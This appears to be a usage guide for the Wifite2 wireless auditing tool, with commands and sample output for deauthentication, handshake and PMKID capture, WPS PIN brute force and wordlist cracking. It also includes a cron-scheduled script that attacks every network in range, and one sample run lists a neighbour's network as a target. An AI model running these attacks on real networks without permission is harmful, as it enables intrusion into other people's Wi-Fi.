Wifite is a Python-based automated wireless auditing tool designed to attack multiple WEP, WPA, WPA2, and WPS-enabled networks in sequence with minimal user interaction. Rather than manually running airmon-ng, airodump-ng, aireplay-ng, reaver, and bully separately, Wifite orchestrates all of these tools automatically, picking the most effective attack for each target based on its detected configuration.
Wifite is commonly used for:
- Rapid, hands-off surveys of an entire wireless environment
- Automatically capturing handshakes and PMKIDs from every visible network
- Automatically attempting WPS PIN attacks where WPS is enabled
- Batch-cracking captured handshakes against a wordlist at the end of a session
The current actively maintained version is Wifite2, written by derv82, which is what ships in modern Kali Linux.
How to Install
Wifite is pre-installed on Kali Linux. To verify or reinstall:
wifite --version
Expected output:
$ wifite --version
Wifite2 v2.7.0
If missing, install via apt:
sudo apt update
sudo apt install wifite -y
Or install the latest version from source:
git clone https://github.com/derv82/wifite2.git
cd wifite2
sudo python3 setup.py install
Wifite depends on several other tools being present (it will warn you if any are missing):
sudo apt install aircrack-ng reaver bully pyrit cowpatty hashcat hcxdumptool hcxpcapngtool tshark -y
Syntax
wifite [options]
Wifite is typically run with no target pre-specified — it scans, presents an interactive menu, and lets you select targets, or you can fully automate it with flags.
All Command-Line Options
| Option | Description |
|---|---|
-h, --help | Show help message |
-i <interface> | Wireless interface to use |
-mac | Anonymize MAC address before attacking |
-c <channel> | Listen/attack only on specified channel |
-e <essid> | Target a specific network by name |
-b <bssid> | Target a specific network by BSSID |
--kill | Kill conflicting processes before starting |
--pow <n> | Attack the n strongest-signal targets only |
-all | Attack all targets found |
--upgrade | Upgrade Wifite to latest version |
--wpa | Only target WPA/WPA2 networks |
--wep | Only target WEP networks |
--wps | Only target WPS-enabled networks |
--no-wps | Don’t use WPS attacks |
--wps-only | Only perform WPS attacks, skip handshake capture |
--pmkid | Only perform PMKID capture/crack attacks |
--no-pmkid | Disable PMKID attacks |
--dict <file> | Wordlist to use for cracking |
--wpat <sec> | WPA attack timeout in seconds |
--wept <sec> | WEP attack timeout in seconds |
--wpadt <sec> | Time to wait between deauth bursts |
--strip | Strip handshake capture down to just the 4-way handshake |
--power <dbm> | Minimum power level (dBm) for targets to be shown |
--skip-crack | Skip auto-cracking captured handshakes |
--crack | Crack already-captured handshakes without attacking |
--cracked | Show previously cracked access points |
--reaver | Force use of Reaver for WPS attacks |
--bully | Force use of Bully for WPS attacks |
--verbose | Show detailed output/debugging |
--kill-conflicting-processes | Same as --kill, kills wpa_supplicant/NetworkManager |
--random-mac | Randomize MAC address for the session |
Basic Usage (Expected Output in Bash)
$ sudo wifite -i wlan0 --kill
.
.´ `. wifite2 v2.7.0
: :
| | A wireless auditing tool
`.___.´
[+] Kill conflicting processes? Yes
[+] scanning for wireless devices...
[+] enabling monitor mode on wlan0... done (wlan0mon)
[0:00:14] scanning wireless networks. 9 targets and 3 clients found
NUM ESSID CH ENCR POWER WPS? CLIENT
--- ----------------- -- ---- ----- ---- ------
1 HomeLab_5G 6 WPA2 45db yes 1 client
2 Office_Guest 11 WPA2 38db no
3 IoT_Cam 1 WEP 31db no
[+] select target(s) (1-3) separated by commas, or 'all': 1
Practical Examples with Output
Example 1: Attack a single selected target automatically
$ sudo wifite -i wlan0 -c 6 -b AA:BB:CC:DD:EE:01 --kill
[0:00:03] scanning wireless networks. 1 target found
[+] attacking 1 target(s)
[0:00:00] initializing PMKID attack on HomeLab_5G
[0:00:04] PMKID attack failed: no PMKID captured
[0:00:00] initializing WPA handshake capture on HomeLab_5G
[0:00:02] listening for handshake...
[0:00:02] sending deauth to all stations
[0:00:07] captured handshake: HomeLab_5G
[+] saving copy of handshake to hs/HomeLab_5G_AA-BB-CC-DD-EE-01.cap
Example 2: Target only WPS-enabled networks
$ sudo wifite -i wlan0 --wps --kill
[0:00:11] scanning wireless networks. 2 WPS-enabled targets found
NUM ESSID CH ENCR POWER WPS?
--- ------------- -- ---- ----- ----
1 OldRouter_24 1 WPA2 52db yes (locked)
2 HomeLab_5G 6 WPA2 45db yes
[+] select target: 2
[0:00:00] initializing WPS PIN attack (reaver) on HomeLab_5G
[0:03:41] 1234/11000 pins tried, WPS pin: 12345670
[0:03:41] WPS attack succeeded! PSK: mylabpassword123
Example 3: PMKID-only attack across all targets
$ sudo wifite -i wlan0 --pmkid -all --kill
[+] attacking 3 target(s), PMKID-only mode
[0:00:05] PMKID captured for HomeLab_5G
[0:00:04] PMKID captured for Office_Guest
[0:00:06] no PMKID for IoT_Cam (not vulnerable or out of range)
[+] cracking 2 captured PMKID(s) with rockyou.txt...
[+] cracked HomeLab_5G: mylabpassword123
[+] Office_Guest: not found in wordlist
Example 4: Attacking all visible targets in one run
$ sudo wifite -i wlan0 -all --kill --wpat 120
[+] attacking 9 target(s)
[1/9] HomeLab_5G : handshake captured
[2/9] Office_Guest : handshake captured
[3/9] IoT_Cam : WEP key cracked: AB:CD:12:34:56
[4/9] Neighbour_2.4 : timeout, no handshake
...
Example 5: Cracking previously captured handshakes without re-attacking
$ wifite --crack --dict /usr/share/wordlists/rockyou.txt
[+] loading captured handshakes from hs/
[+] cracking HomeLab_5G_AA-BB-CC-DD-EE-01.cap...
[+] KEY FOUND: mylabpassword123
Example 6: Using a custom wordlist and forcing Bully for WPS
$ sudo wifite -i wlan0 --wps --bully --dict /home/user/wordlists/custom.txt --kill
[0:00:09] scanning wireless networks. 1 WPS target found
[+] attacking HomeLab_5G with bully
[0:02:15] Bully attack, PIN: 45671230, trying...
[0:02:19] WPS PIN found: 45671230
[+] PSK: mylabpassword123
Example 7: Limiting the attack to strongest 3 signals with a channel lock
$ sudo wifite -i wlan0 -c 6 --pow 3 -all --kill
[+] filtering to top 3 strongest-signal targets on channel 6
[1/3] HomeLab_5G : handshake captured
[2/3] LabAP2 : handshake captured
[3/3] LabAP3 : PMKID captured
Example 8: Viewing previously cracked results
$ wifite --cracked
ESSID BSSID ENCRYPTION KEY
------------- ----------------- ---------- -------------------
HomeLab_5G AA:BB:CC:DD:EE:01 WPA2 mylabpassword123
IoT_Cam AA:BB:CC:DD:EE:03 WEP AB:CD:12:34:56
Common Use Cases
- Rapid environmental sweep of an office or lab to test all in-range networks against common attack classes in a single unattended run.
- Prioritizing WPS-enabled routers, which are often the fastest to compromise due to the WPS PIN design flaw.
- Batch handshake/PMKID collection for later offline cracking during a larger engagement.
- Regression testing — re-running Wifite periodically against your own lab AP to confirm hardening changes (disabling WPS, strengthening PSK) are effective.
- Training/CTF environments where multiple vulnerable APs are set up and trainees practice automated auditing workflows.
Automation with Bash
#!/bin/bash
# wifite_sweep.sh - Scheduled automated wireless sweep with logging
# Usage: sudo ./wifite_sweep.sh <interface> <wordlist>
IFACE=$1
WORDLIST=${2:-/usr/share/wordlists/rockyou.txt}
LOGDIR="/var/log/wifite_sweeps"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
LOGFILE="$LOGDIR/sweep_$TIMESTAMP.log"
if [[ -z "$IFACE" ]]; then
echo "Usage: sudo $0 <interface> [wordlist]"
exit 1
fi
mkdir -p "$LOGDIR"
echo "[*] Starting Wifite automated sweep at $TIMESTAMP"
echo "[*] Logging to $LOGFILE"
sudo wifite -i "$IFACE" -all --kill \
--dict "$WORDLIST" \
--wpat 180 \
--wept 300 \
2>&1 | tee "$LOGFILE"
echo "[*] Sweep complete."
echo "[*] Cracked networks summary:"
wifite --cracked | tee -a "$LOGFILE"
Schedule it weekly via cron for continuous lab monitoring:
# Run every Sunday at 2 AM
0 2 * * 0 root /opt/scripts/wifite_sweep.sh wlan0 /usr/share/wordlists/rockyou.txt
Tips and Best Practices
- Use
--killon every run to avoid NetworkManager interference mid-scan. - Start with
--pmkidonly for a fast, clientless first pass — it doesn’t require deauthenticating anyone and often succeeds instantly against vulnerable routers. - Use
--pow <n>to focus effort on the strongest, closest targets first rather than wasting time on weak, unreliable signals. - Combine
-c <channel>with a known target’s channel to speed up scanning significantly by skipping channel hopping. - Review
hs/(handshakes) andwpa/output directories after a sweep — Wifite keeps organized captures you can re-crack later with different wordlists. - Use
--wps-onlywhen you specifically want to test WPS resilience without spending time on handshake-based attacks. - Increase
--wpat(WPA attack timeout) for networks with low client activity, since deauth-triggered reconnections can take longer.
Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
| “No wireless interfaces found” | Adapter not in monitor-capable state or unsupported | Check airmon-ng, use compatible adapter |
| Wifite hangs on “scanning” | Interface stuck on one channel or driver issue | Restart interface: airmon-ng stop wlan0mon && airmon-ng start wlan0 |
| WPS attacks always fail/locked | AP has WPS lockout after failed attempts | Wait out the lockout period, or switch to Bully with --bully |
| No handshake captured despite deauth | Client not reconnecting / too far | Increase --wpat, move closer, verify injection with aireplay-ng -9 |
| Cracking never finds the key | Password not in wordlist | Use a larger/targeted wordlist, or rule-based mutation with Hashcat |
| Missing dependency errors | Reaver/Bully/hcxtools not installed | sudo apt install reaver bully hcxdumptool hcxpcapngtool |
References
- Official Wifite2 GitHub repository: https://github.com/derv82/wifite2
- Kali Linux Tools listing: https://www.kali.org/tools/wifite/
- Wifite2 README and usage guide: https://github.com/derv82/wifite2/blob/master/README.md